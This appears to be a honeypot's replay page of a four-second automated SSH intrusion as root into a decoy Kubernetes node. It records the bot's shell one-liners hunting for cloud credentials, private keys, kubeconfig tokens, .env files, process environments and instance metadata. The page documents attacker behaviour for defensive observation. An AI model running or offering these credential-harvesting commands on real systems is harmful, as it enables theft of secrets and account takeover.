← All sessions
Ended · replayGot inTyped by a botevery command without a terminal

Got in and went looking for secret keys

on Sköndal, Swedenfern-cicada-3i from Bad Soden am Taunus (Neuenhain), Germanyseen 37 times this weekSSH-2.0-paramiko_5.1.0

root@se-sto-oracle-1 · 🇸🇪 Sköndal
connected from 🇩🇪 Bad Soden am Taunus (Neuenhain), Germany · SSH-2.0-paramiko_5.1.0
root@se-sto-oracle-1's password: 
Logged in as root
root@se-sto-oracle-1:~# id; hostname; whoami; uname -a
uid=0(root) gid=0(root) groups=0(root)
se-sto-oracle-1
root
Linux se-sto-oracle-1 6.1.0-54-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.190-1 (2026-10-16) x86_64 GNU/Linux
root@se-sto-oracle-1:~# echo '=== /root/.oci tree ==='; find /root/.oci /home/*/.oci /etc/oci -maxdepth 3 -type f 2>/dev/null | head -50; echo '=== cat configs ==='; for f in /root/.oci/config /home/*/.oci/config /etc/oci/config; do [ -f "$f" ] && { echo ---$f; cat "$f"; }; done
=== /root/.oci tree ===
=== cat configs ===
root@se-sto-oracle-1:~# echo '=== OCI pem/key global ==='; find / -xdev \( -iname 'oci_api_key*.pem' -o -iname '*.pem' -o -iname '*oci*key*' \) -type f 2>/dev/null | grep -iE 'oci|oracle' | head -40; echo '=== any private key blocks in oci dirs ==='; grep -rl 'BEGIN.*PRIVATE KEY' /root/.oci /home/*/.oci /etc/oci 2>/dev/null | head -20
=== OCI pem/key global ===
=== any private key blocks in oci dirs ===
root@se-sto-oracle-1:~# echo '=== AWS creds/config ==='; for f in /root/.aws/credentials /root/.aws/config /home/*/.aws/credentials /home/*/.aws/config; do [ -f "$f" ] && { echo ---$f; cat "$f"; }; done; echo '=== AWS env ==='; env | grep -iE 'AWS_ACCESS|AWS_SECRET|AWS_PROFILE' 2>/dev/null
=== AWS creds/config ===
=== AWS env ===
root@se-sto-oracle-1:~# echo '=== /proc/*/environ nonzero ==='; for p in /proc/[0-9]*; do tr '\0' '\n' < $p/environ 2>/dev/null | grep -iE 'OCI_|AWS_|TENANCY|USER_OCID|FINGERPRINT|SECRET|PASSWORD|TOKEN|API_KEY|ACCESS_KEY|client_secret|refresh_token' | sed "s|^|${p##*/} |"; done | head -200
=== /proc/*/environ nonzero ===
bash: line 1: /proc/1/environ: No such file or directory
bash: line 1: /proc/10/environ: No such file or directory
bash: line 1: /proc/11/environ: No such file or directory
bash: line 1: /proc/12/environ: No such file or directory
bash: line 1: /proc/13/environ: No such file or directory
bash: line 1: /proc/14/environ: No such file or directory
bash: line 1: /proc/15/environ: No such file or directory
bash: line 1: /proc/16/environ: No such file or directory
bash: line 1: /proc/17/environ: No such file or directory
bash: line 1: /proc/18/environ: No such file or directory
bash: line 1: /proc/19/environ: No such file or directory
bash: line 1: /proc/2/environ: No such file or directory
bash: line 1: /proc/20/environ: No such file or directory
bash: line 1: /proc/21/environ: No such file or directory
bash: line 1: /proc/22/environ: No such file or directory
bash: line 1: /proc/23/environ: No such file or directory
bash: line 1: /proc/24/environ: No such file or directory
bash: line 1: /proc/25/environ: No such file or directory
bash: line 1: /proc/26/environ: No such file or directory
bash: line 1: /proc/27/environ: No such file or directory
bash: line 1: /proc/28/environ: No such file or directory
bash: line 1: /proc/289/environ: No such file or directory
bash: line 1: /proc/29/environ: No such file or directory
bash: line 1: /proc/3/environ: No such file or directory
bash: line 1: /proc/30/environ: No such file or directory
bash: line 1: /proc/31/environ: No such file or directory
bash: line 1: /proc/318/environ: No such file or directory
bash: line 1: /proc/32/environ: No such file or directory
bash: line 1: /proc/33/environ: No such file or directory
bash: line 1: /proc/34/environ: No such file or directory
bash: line 1: /proc/35/environ: No such file or directory
bash: line 1: /proc/36/environ: No such file or directory
bash: line 1: /proc/37/environ: No such file or directory
bash: line 1: /proc/38/environ: No such file or directory
bash: line 1: /proc/39/environ: No such file or directory
bash: line 1: /proc/4/environ: No such file or directory
bash: line 1: /proc/40/environ: No such file or directory
bash: line 1: /proc/41/environ: No such file or directory
bash: line 1: /proc/418398/environ: No such file or directory
bash: line 1: /proc/42/environ: No such file or directory
bash: line 1: /proc/43/environ: No such file or directory
bash: line 1: /proc/44/environ: No such file or directory
bash: line 1: /proc/45/environ: No such file or directory
bash: line 1: /proc/46/environ: No such file or directory
bash: line 1: /proc/47/environ: No such file or directory
bash: line 1: /proc/48/environ: No such file or directory
bash: line 1: /proc/482/environ: No such file or directory
bash: line 1: /proc/49/environ: No such file or directory
bash: line 1: /proc/5/environ: No such file or directory
bash: line 1: /proc/50/environ: No such file or directory
bash: line 1: /proc/506/environ: No such file or directory
bash: line 1: /proc/51/environ: No such file or directory
bash: line 1: /proc/52/environ: No such file or directory
bash: line 1: /proc/527/environ: No such file or directory
bash: line 1: /proc/53/environ: No such file or directory
bash: line 1: /proc/534/environ: No such file or directory
bash: line 1: /proc/54/environ: No such file or directory
bash: line 1: /proc/55/environ: No such file or directory
bash: line 1: /proc/56/environ: No such file or directory
bash: line 1: /proc/57/environ: No such file or directory
bash: line 1: /proc/58/environ: No such file or directory
bash: line 1: /proc/59/environ: No such file or directory
bash: line 1: /proc/593/environ: No such file or directory
bash: line 1: /proc/6/environ: No such file or directory
bash: line 1: /proc/60/environ: No such file or directory
bash: line 1: /proc/621/environ: No such file or directory
bash: line 1: /proc/684/environ: No such file or directory
bash: line 1: /proc/7/environ: No such file or directory
bash: line 1: /proc/712/environ: No such file or directory
bash: line 1: /proc/8/environ: No such file or directory
bash: line 1: /proc/9/environ: No such file or directory
root@se-sto-oracle-1:~# echo '=== systemd Environment= ==='; grep -rhiE 'Environment[[:space:]]*=' /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system 2>/dev/null | grep -iE 'OCID|OCI|AWS|SECRET|PASSWORD|TOKEN|KEY|DSN' | head -100; echo '=== /etc/environment ==='; cat /etc/environment 2>/dev/null
=== systemd Environment= ===
=== /etc/environment ===
root@se-sto-oracle-1:~# echo '=== git config --list global/system ==='; git config --system --list 2>/dev/null; git config --global --list 2>/dev/null; for f in /home/*/.gitconfig /root/.gitconfig; do [ -f "$f" ] && { echo ---$f; cat "$f"; }; done
=== git config --list global/system ===
root@se-sto-oracle-1:~# echo '=== kube configs ==='; for f in /root/.kube/config /home/*/.kube/config /etc/kubernetes/admin.conf; do [ -f "$f" ] && { echo ---$f; cat "$f"; }; done | head -200
=== kube configs ===
---/home/marta/.kube/config
apiVersion: v1
kind: Config
clusters:
- name: parcelwise-prod
  cluster:
    server: https://10.44.0.10:6443
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0t
contexts:
- name: parcelwise-prod-admin
  context:
    cluster: parcelwise-prod
    user: parcelwise-admin
current-context: parcelwise-prod-admin
users:
- name: parcelwise-admin
  user:
    token: b19bbaef25257f6f4c6aa2e55ee0c94e
root@se-sto-oracle-1:~# echo '=== .env / compose / yaml ==='; for f in $(find /root /home /opt /srv /data /var/www -maxdepth 5 \( -name '.env' -o -iname 'docker-compose*.yml' -o -iname 'docker-compose*.yaml' -o -iname '*.env' \) -type f 2>/dev/null | head -40); do echo ---$f; head -c 12000 "$f"; echo; done
=== .env / compose / yaml ===
root@se-sto-oracle-1:~# echo '=== all ssh private keys ==='; for f in $(find /root/.ssh /home/*/.ssh -type f 2>/dev/null); do echo ---$f; head -c 200 "$f"; echo; done
=== all ssh private keys ===
root@se-sto-oracle-1:~# echo '=== ocid1 grep ==='; grep -rhoiE 'ocid1[.][a-z]+[.]oc[0-9][^ 	]+' /etc /opt /srv /home /root 2>/dev/null | sort -u | head -80
=== ocid1 grep ===
root@se-sto-oracle-1:~# echo '=== fingerprint/tenancy_ocid anywhere ==='; grep -rhoiE 'fingerprint|tenancy_ocid|user_ocid|OCI_CLI_KEY_FILE' /etc /opt /srv /home /root 2>/dev/null | sort -u | head -40
=== fingerprint/tenancy_ocid anywhere ===
root@se-sto-oracle-1:~# echo '=== bash history creds hints ==='; for f in /root/.bash_history /home/*/.bash_history; do [ -f "$f" ] && { echo ---$f; grep -iE 'oci|aws|export|password|key|token|ssh ' "$f" 2>/dev/null | head -60; }; done
=== bash history creds hints ===
---/root/.bash_history
kubeadm token list
find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f \( -name '*.env' -o -name '.env' -o -name '*.pem' -o -name '*.key' -o -name '*.kdbx' -o -name 'credentials' -o -name 'config' -o -name '*.yml' -o -name '*.yaml' -o -name '*.json' -o -name '*.sql' -o -name '*.bak' -o -name '*.conf' -o -name '.git-credentials' -o -name '*Login Data*' -o -name 'Cookies' -o -name '*history*' \) -print 2>/dev/null | head -300
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type f \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name 'id_dsa' -o -name 'known_hosts' -o -name 'authorized_keys' -o -name '*.ppk' \) -print 2>/dev/null | head -100
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.oci' -print 2>/dev/null | head -50
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.aws' -print 2>/dev/null | head -50
export KUBECONFIG=/home/marta/.kube/config; kubectl --kubeconfig=/home/marta/.kube/config get nodes 2>&1 | head -20; echo '[NS]'; kubectl --kubeconfig=/home/marta/.kube/config get ns 2>&1 | head -30
env | grep -iE 'AWS|OCI|TOKEN|SECRET|KEY|PASS' 2>/dev/null; echo ==PROC1==; cat /proc/1/cmdline 2>/dev/null | tr '\0' ' '; echo
curl -s --max-time 5 -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/ 2>&1 | head -20; echo '===IMDSv2==='; curl -s --max-time 5 http://169.254.169.254/opc/v1/instance/ 2>&1 | head -20; echo '===AWS==='; curl -s --max-time 5 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20; echo EOM
---/home/marta/.bash_history
kubeadm token list

Disconnected · 4s inside

0:04 / 0:04
What they found: A container cluster's worker nodeOne machine of a small company's self-hosted container cluster, running its customer-facing services.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.